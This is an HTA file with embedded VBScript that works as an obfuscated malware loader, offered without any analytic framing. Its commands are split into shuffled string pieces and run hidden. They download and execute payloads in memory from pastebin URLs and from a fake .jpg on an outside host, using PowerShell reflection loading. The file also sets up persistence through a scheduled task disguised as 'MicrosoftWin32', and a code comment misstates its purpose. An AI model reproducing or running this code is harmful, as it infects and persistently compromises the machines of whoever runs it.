HTASYSTEN

<script language="VBScript">

'============Checking the system architecture=========================================
Set As_wW = CreateObject("WScript.Shell")
Dim AXW
AXW1 = "pt.Shell"").Run(""powershell.exe -noexi"
AXW5 = "ng('h'+'t'+'t'+'p'+'s:'+'//p'+'a'+'s'+'t'+'e'+'b'+'i'+'n'+'.'+'c'+'o'+'m'+'/'+'r'+'a'+'w'+'/'+'e8GrYbHb'))).EntryPoint.Invoke($N,$N)"",0,true)(window.close)"
AXW2 = "t -command [Reflection.Assembly]::Load("
AXW4 = "-Object Net.WebClient).DownloadStri"
AXW0 = "cmd.exe /c ping 127.0.0.1 -n 10 > nul & mshta.exe vbscript:CreateObject(""Wscri"
AXW3 = "[System.Convert]::FromBase64String((New"
AXW = AXW0 + AXW1 + AXW2 + AXW3 + AXW4 + AXW5
As_wW.Run AXW, vbHide

Set shell = CreateObject("WScript.Shell")
shell.Run("Powershell.exe -noexit [Byte[]]$sc64= iex(iex('(&(GCM *W-O*)'+ 'Net.'+'WebC'+'lient)'+'.Dow'+'nload'+'Str'+'ing(''http://www.m9c.net/uploads/15615146751.jpg'').replace(''*'',''x0'')'));[<##>AppDomain<##>]::<##>('^urrentDomain'.replace('^','C'))<##>.<##>('%oad'.replace('%','L'))($sc64).'EntryPoint'<##>.<##>('in@okg'.replace('g','e').replace('@','v'))($null,$null)"),0

set Mi_G = CreateObject("WScript.Shell")
Dim X_hw
Link = "\"").Run(\""mshta.exe https://pastebin.com/raw/2HpiMFUJ\"",0,true)(window.close)"" /F "
X_hw0 = "cmd.exe /c ping 127.0.0.1 -n 30 > nul & schtasks /create /sc MINUT"
X_hw2 = "eObject(\""Wscript.Shell"
Tym = "E /mo 20 /t"
Name = "n ""MicrosoftWin32"" /t"
X_hw1 = "r ""mshta vbscript:Creat"
X_hw = X_hw0 + Tym + Name + X_hw1 + X_hw2 + Link
Mi_G.run X_hw, vbHide
self.close
</script>